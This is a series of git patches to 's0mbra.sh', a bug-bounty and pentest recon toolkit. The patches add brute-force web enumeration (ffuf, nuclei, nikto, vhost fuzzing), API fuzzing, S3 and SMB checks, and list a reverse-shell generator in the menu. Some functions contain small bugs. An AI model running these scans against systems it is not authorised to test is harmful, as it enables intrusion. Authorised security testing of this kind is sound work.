$GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" - echo -e "$BLUE:: RE ::$CLR" + echo -e "$BLUE_BG:: RE ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" - echo -e "$BLUE:: ANDROID ::$CLR" + echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR\t\t -> exports .dex file into .jar" echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t -> extracts APK file and run apktool on it" echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" - echo -e "$BLUE:: WEB ::$CLR" + echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" From 5f5538dd867097114762c1ba1dd7e9d66b277c5c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 24 Jan 2022 19:51:30 +0000 Subject: [PATCH 257/460] [s0mbra] main menu changes; remove unused tools --- s0mbra.sh | 25 +++++++------------------ 1 file changed, 7 insertions(+), 18 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 1d8b745..7fca481 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -198,13 +198,6 @@ nfs_enum() { echo -e "\n$BLUE[s0mbra] Done." } -# executes httpx on the list of host(s) -htpx() { - echo -e "$BLUE[s0mbra] Running httpx enumeration on $1 domain(s) file; save output to $2...$CLR\n" - httpx -silent -status-code -web-server -tech-detect -l $1 -mc 200,403,500 -o $2 - echo -e "\n$BLUE[s0mbra] Done." -} - # quick subdomain enum + available HTTP server(s) - to find out if a program is # actually worth to look into :D lookaround() { @@ -532,9 +525,6 @@ case "$cmd" in set_ip) set_ip "$2" ;; - htpx) - htpx "$2" - ;; lookaround) lookaround "$2" ;; @@ -627,21 +617,23 @@ case "$cmd" in echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" echo -e "--------------------------------------------------------------------------------------------------------------" echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}$CLR\n" - echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t$CLR" + echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t$CLR" echo -e "\t$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" echo -e "\t$CYAN ransack $GRAY[HOST] [PROTO http/https]$CLR\t\t -> bruteforce recon on host: nmap (top 1000 ports) + nikto + ffuf + nuclei" echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" - echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" - echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" - echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" - echo -e "\t$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" + echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" + echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" + echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t$CLR" + echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" + echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" echo -e "\t$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" + echo -e "\t$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$BLUE_BG:: SMB SUITE ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" echo -e "\t$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" @@ -663,9 +655,6 @@ case "$cmd" in echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR\t\t -> exports .dex file into .jar" echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t -> extracts APK file and run apktool on it" echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" - echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" - echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" - echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "\n--------------------------------------------------------------------------------------------------------------" echo -e "$GREEN Hack The Planet!\n$CLR" From 0e3aa68830da81e6faf7043f2d156c1c308c9816 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 25 Jan 2022 00:15:03 +0000 Subject: [PATCH 258/460] [denumerator] added missing HTTP Response status codes --- denumerator/denumerator.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 70ad1e6..5576f08 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -43,8 +43,8 @@ 206: '\33[32m', 301: '\33[33m', 302: '\33[33m', + 303: '\33[33m', 304: '\33[33m', - 302: '\33[33m', 401: '\33[94m', 403: '\33[94m', 404: '\33[94m', @@ -53,6 +53,7 @@ 412: '\33[94m', 415: '\33[94m', 422: '\33[94m', + 429: '\33[94m', 500: '\33[31m', "magenta": '\33[35m', "cyan": '\33[36m', From f0977b173d71882227033ef99c91f9f59c70a9a6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 1 Feb 2022 20:18:07 +0000 Subject: [PATCH 259/460] [s0mbra] Add required headers for recon --- s0mbra.sh | 62 +++++++++++++++++++++++++++---------------------------- 1 file changed, 31 insertions(+), 31 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 7fca481..9022230 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -210,7 +210,7 @@ lookaround() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp echo -e "\n$BLUE[s0mbra] Done.$CLR" } @@ -231,16 +231,16 @@ recon() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp # ffuf - starter + lowercase enumeration echo -e "\n$GREEN--> ffuf + nuclei on HTTP 200 from httpx$CLR\n" for url in $(cat $TMPDIR/s0mbra_recon_httpx.tmp | grep "200" | cut -d' ' -f1); do NAME=$(echo $url | cut -d'/' -f3) - ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$NAME.log - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$NAME.log - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $url -o $TMPDIR/s0mbra_recon_nuclei_$NAME.log; + ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$NAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$NAME.log + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -exclude-severity info -u $url -o $TMPDIR/s0mbra_recon_nuclei_$NAME.log; done END_TIME=$(date) @@ -284,13 +284,13 @@ ransack() { nikto -host $PROTO://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent "bl4de/HackerOne" # vhosts enumeration - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_fullnames_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_fullnames_$HOSTNAME.log - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_$HOSTNAME.log # ffuf - ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log # nuclei nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $PROTO://$HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log @@ -303,6 +303,28 @@ ransack() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } +fu() { + clear + # adjust here to add/remove HTTP response status code(s) to match on: + HTTP_RESP_CODES=200,206,301,302,403,500 + + echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES ...$CLR" + + if [[ -n $3 ]]; then + if [[ $3 == "/" ]]; then + # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes + # dir path has to end with / to be identified + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + else + # if $3 arg is not /, treat it as file extension to enumerate files: + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc $HTTP_RESP_CODES -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + fi + else + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + kiterunner() { HOSTNAME=$1 echo -e "$BLUE[s0mbra] Running kiterunner using apis file...$CLR\n" @@ -450,28 +472,6 @@ abe() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -fu() { - clear - # adjust here to add/remove HTTP response status code(s) to match on: - HTTP_RESP_CODES=200,206,301,302,403,500 - - echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES ...$CLR" - - if [[ -n $3 ]]; then - if [[ $3 == "/" ]]; then - # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes - # dir path has to end with / to be identified - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" - else - # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" - fi - else - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" - fi - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - generate_shells() { clear port=$2 From 1b80e18f78ba64ef01f651355238fb32fb11c5bd Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 1 Feb 2022 22:28:56 +0000 Subject: [PATCH 260/460] [s0mbra] Added fufilter - fu, but wiht filtering ceratin response size(s) --- s0mbra.sh | 29 ++++++++++++++++++++++++++++- 1 file changed, 28 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 9022230..39a91d1 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -308,7 +308,7 @@ fu() { # adjust here to add/remove HTTP response status code(s) to match on: HTTP_RESP_CODES=200,206,301,302,403,500 - echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES ...$CLR" + echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES...$CLR" if [[ -n $3 ]]; then if [[ $3 == "/" ]]; then @@ -325,6 +325,29 @@ fu() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } + +fufilter() { + clear + # adjust here to add/remove HTTP response status code(s) to match on: + HTTP_RESP_CODES=200,206,301,302,403,500 + + echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES... (filter size: $3) $CLR" + + if [[ -n $4 ]]; then + if [[ $4 == "/" ]]; then + # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes + # dir path has to end with / to be identified + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H -fs $3 "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + else + # if $3 arg is not /, treat it as file extension to enumerate files: + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$4 -mc $HTTP_RESP_CODES -fs $3 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + fi + else + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -fs $3 -H "X-Bug-Bounty: HackerOne-bl4de" -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + kiterunner() { HOSTNAME=$1 echo -e "$BLUE[s0mbra] Running kiterunner using apis file...$CLR\n" @@ -606,6 +629,9 @@ case "$cmd" in fu) fu "$2" "$3" "$4" ;; + fufilter) + fufilter "$2" "$3" "$4" "$5" + ;; s3go) s3go "$2" "$3" ;; @@ -624,6 +650,7 @@ case "$cmd" in echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" + echo -e "\t$CYAN fufilter $GRAY[URL] [DICT] [SIZE] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf; filter out resp. size SIZE (DICT: starter, lowercase, wordlist etc.)" echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" From d63599b1ae9e7ab9fbb5367a2676ccbb860ecf0a Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 2 Feb 2022 10:02:51 +0000 Subject: [PATCH 261/460] [s0mbra] update menu --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 39a91d1..f9d6f85 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -650,7 +650,7 @@ case "$cmd" in echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" - echo -e "\t$CYAN fufilter $GRAY[URL] [DICT] [SIZE] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf; filter out resp. size SIZE (DICT: starter, lowercase, wordlist etc.)" + echo -e "\t$CYAN fufilter $GRAY[URL] [DICT] [SIZE] [*EXT/*ENDSLASH.]$CLR\t -> webapp resource enumeration with ffuf; filter out resp. size SIZE (DICT: starter, lowercase, wordlist etc.)" echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" From ca434fc168b05cd45c0e63161f82c856e95ada31 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 2 Feb 2022 10:56:15 +0000 Subject: [PATCH 262/460] [s0mbra] lookaround() output improvements --- s0mbra.sh | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index f9d6f85..2aee7d3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -202,6 +202,7 @@ nfs_enum() { # actually worth to look into :D lookaround() { TMPDIR=$(pwd) + START_TIME=$(date) echo -e "$BLUE[s0mbra] Let's see what we've got here...$CLR\n" # subfinder @@ -212,6 +213,11 @@ lookaround() { echo -e "\n$GREEN--> httpx$CLR\n" httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + END_TIME=$(date) + echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" + echo -e "finished at: $RED $END_TIME $GREEN\n" + echo -e " $GRAY subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subfinder.tmp` | cut -d" " -f 1) $GRAY subdomains" + echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.tmp` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" } From 994c07a128f396631b12f799592414e17e5fec87 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 5 Feb 2022 12:10:47 +0000 Subject: [PATCH 263/460] [s0mbra] API fuzzing with httpie (work in progress, but basic functionality works --- endpoints.txt | 1 + s0mbra.sh | 15 +++++++++++++++ 2 files changed, 16 insertions(+) create mode 100644 endpoints.txt diff --git a/endpoints.txt b/endpoints.txt new file mode 100644 index 0000000..ff772e2 --- /dev/null +++ b/endpoints.txt @@ -0,0 +1 @@ +/api/v1/user diff --git a/s0mbra.sh b/s0mbra.sh index 2aee7d3..fb95558 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -331,6 +331,17 @@ fu() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +api_fuzz() { + clear + echo -e "$BLUE[s0mbra] Fuzzing $1 API with httpie using endpoints file $2...$CLR" + + for endpoint in $(cat $2); do + https --print=HBh --all --follow POST https://$1/$2 payload=data + https --print=HBh --all --follow PUT https://$1/$2 payload=data + done + + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} fufilter() { clear @@ -638,6 +649,9 @@ case "$cmd" in fufilter) fufilter "$2" "$3" "$4" "$5" ;; + apifuzz) + api_fuzz "$2" "$3" + ;; s3go) s3go "$2" "$3" ;; @@ -658,6 +672,7 @@ case "$cmd" in echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "\t$CYAN fufilter $GRAY[URL] [DICT] [SIZE] [*EXT/*ENDSLASH.]$CLR\t -> webapp resource enumeration with ffuf; filter out resp. size SIZE (DICT: starter, lowercase, wordlist etc.)" echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" + echo -e "\t$CYAN apifuzz $GRAY[BASE_HREF] [ENDPOINTS]$CLR\t\t -> fuzzing API endpoints with httpie" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" From e6c8e15b48061f0ae5b48188153caf96845319e1 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 6 Feb 2022 00:22:48 +0000 Subject: [PATCH 264/460] [s0mbra] ransack() improvements: new tools, parametrized options --- s0mbra.sh | 83 ++++++++++++++++++++++++++++++++++++++----------------- 1 file changed, 58 insertions(+), 25 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index fb95558..09bfb2a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -211,13 +211,15 @@ lookaround() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" echo -e " $GRAY subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subfinder.tmp` | cut -d" " -f 1) $GRAY subdomains" echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.tmp` | cut -d" " -f 1) $GRAY active web servers $GREEN" + echo -e " $GRAY HTTP servers responding 200 OK: $CLR\n" + grep 200 $TMPDIR/s0mbra_recon_httpx.tmp echo -e "\n$BLUE[s0mbra] Done.$CLR" } @@ -237,16 +239,16 @@ recon() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp # ffuf - starter + lowercase enumeration echo -e "\n$GREEN--> ffuf + nuclei on HTTP 200 from httpx$CLR\n" for url in $(cat $TMPDIR/s0mbra_recon_httpx.tmp | grep "200" | cut -d' ' -f1); do NAME=$(echo $url | cut -d'/' -f3) - ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$NAME.log - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$NAME.log - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "X-Bug-Bounty: HackerOne-bl4de" -exclude-severity info -u $url -o $TMPDIR/s0mbra_recon_nuclei_$NAME.log; + ffuf -ac -c -w 